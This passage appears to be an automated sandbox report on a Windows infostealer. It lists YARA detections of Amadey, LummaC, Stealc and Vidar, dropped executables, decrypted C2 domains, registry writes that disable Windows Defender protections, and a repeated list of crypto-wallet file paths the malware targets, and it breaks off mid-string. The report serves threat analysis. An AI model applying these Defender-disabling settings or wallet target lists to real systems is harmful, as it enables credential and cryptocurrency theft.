Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0068652B mov eax, dword ptr fs:[00000030h]	28_2_0068652B

Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CECB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6CECB66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CECB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6CECB1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 5900, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 474b2c9b63.exe PID: 8056, type: MEMORYSTR

LummaC encrypted strings found

Source: 1017b01294.exe, 00000022.00000002.2500169037.0000000000271000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: scriptyprefej.store
Source: 1017b01294.exe, 00000022.00000002.2500169037.0000000000271000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: navygenerayk.store
Source: 1017b01294.exe, 00000022.00000002.2500169037.0000000000271000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: founpiuer.store
Source: 1017b01294.exe, 00000022.00000002.2500169037.0000000000271000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: necklacedmny.store
Source: 1017b01294.exe, 00000022.00000002.2500169037.0000000000271000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: thumbystriw.store
Source: 1017b01294.exe, 00000022.00000002.2500169037.0000000000271000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: fadehairucw.store
Source: 1017b01294.exe, 00000022.00000002.2500169037.0000000000271000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: crisiwarny.store
Source: 1017b01294.exe, 00000022.00000002.2500169037.0000000000271000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: presticitpo.store

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIEGCAAKFBA.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsIEGCAAKFBA.exe "C:\Users\user\DocumentsIEGCAAKFBA.exe"
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe "C:\Users\user~1\AppData\Local\Temp\1005587001\1017b01294.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe "C:\Users\user~1\AppData\Local\Temp\1005588001\474b2c9b63.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe "C:\Users\user~1\AppData\Local\Temp\1005590001\2018142c2f.exe"

Source: file.exe, file.exe, 00000000.00000002.1579861812.00000000012F5000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: i[wProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CECB341 cpuid

0_2_6CECB341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE935A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6CE935A0

Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe

Registry value created: TamperProtection 0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 27.2.skotes.exe.650000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.DocumentsIEGCAAKFBA.exe.630000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.skotes.exe.650000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.skotes.exe.650000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001C.00000002.1680674491.0000000000651000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2499571721.0000000000651000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.1634682533.0000000000631000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.1673868210.0000000000651000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 1017b01294.exe PID: 4348, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000023.00000002.2395891164.0000000000BB1000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2426496041.000000000161E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1579443796.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1579011520.000000000079E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1250626319.0000000004A00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.2335768333.0000000005550000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5900, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 474b2c9b63.exe PID: 8056, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5900, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.1579443796.0000000000FFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1579443796.0000000000FFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1579443796.0000000000FFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1579443796.0000000000FFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1579443796.0000000000FFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1579443796.0000000000FFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1579443796.0000000000FFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1579443796.0000000000FFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1579443796.0000000000FFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local 